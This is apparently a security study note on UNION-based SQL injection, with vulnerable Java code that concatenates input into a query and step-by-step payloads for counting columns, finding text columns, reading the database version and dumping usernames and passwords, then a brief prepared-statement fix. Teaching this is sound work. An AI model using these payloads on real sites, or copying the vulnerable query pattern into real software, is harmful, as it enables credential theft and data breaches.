🧠 SQLi - UNION-based

// Vulnerable: Directly concatenating user input into the SQL string String userInput = request.getParameter(“category”); String query = “SELECT name, description FROM products WHERE category = ’” + userInput + ”’”; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(query);

If the input is:
```SQL

’ UNION SELECT username, password FROM users—

The app will display the usernames and passwords instead of product names and description.

---
**How it works**
Just like a normal SQL Injection vulnerability, the system confused between code and data because the input string is concatenated directly into the query string without sanitization, allow attacker to inject early `'` or `%`,... in order to break from the previous clause and inject `UNION SELECT`.

What is it?

Concept: Basically using the UNION instruction in order to exfiltrate arbitrary data. A vulnerable code in the back-end will look like this:

// Vulnerable: Directly concatenating user input into the SQL string
String userInput = request.getParameter("category");
String query = "SELECT name, description FROM products WHERE category = '" + userInput + "'";
 
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);

If the input is:

' UNION SELECT username, password FROM users--

The app will display the usernames and passwords instead of product names and description.

How it works

Just like a normal SQL Injection vulnerability, the system confused between code and data because the input string is concatenated directly into the query string without sanitization, allow attacker to inject early ' or %,… in order to break from the previous clause and inject UNION SELECT.

Exploitation

Prerequisites:

Attack Vectors

  1. Step 1: Determine the number of columns return by the original SELECT clause.
-- Finding Column Count using ORDER BY (Increment until an error occurs) 
' ORDER BY 1-- 
' ORDER BY 2--
' ORDER BY 3-- 
 
-- Finding Column Count using UNION (Add NULLs until the query succeeds) 
' UNION SELECT NULL-- 
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
  1. Step 2: Find out which of the columns reflect text onto your webpage, that columns is the one we’ll use to exfiltrate data.
-- Finding Text-Compatible Columns (Replace NULLs with a string like 'a') 
' UNION SELECT 'a', NULL, NULL-- 
' UNION SELECT NULL, 'a', NULL--
  1. Step 3: Inject the payload. Replace the compatible columns with your target query to dump data to the screen.
-- Finding the Database version
' UNION SELECT NULL, @@version, NULL-- (MySQL / MSSQL)
 
-- Extracting data
' UNION SELECT username, password, NULL from users--

Mitigation

Fix: Prepared Statement or Parameterized Query

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC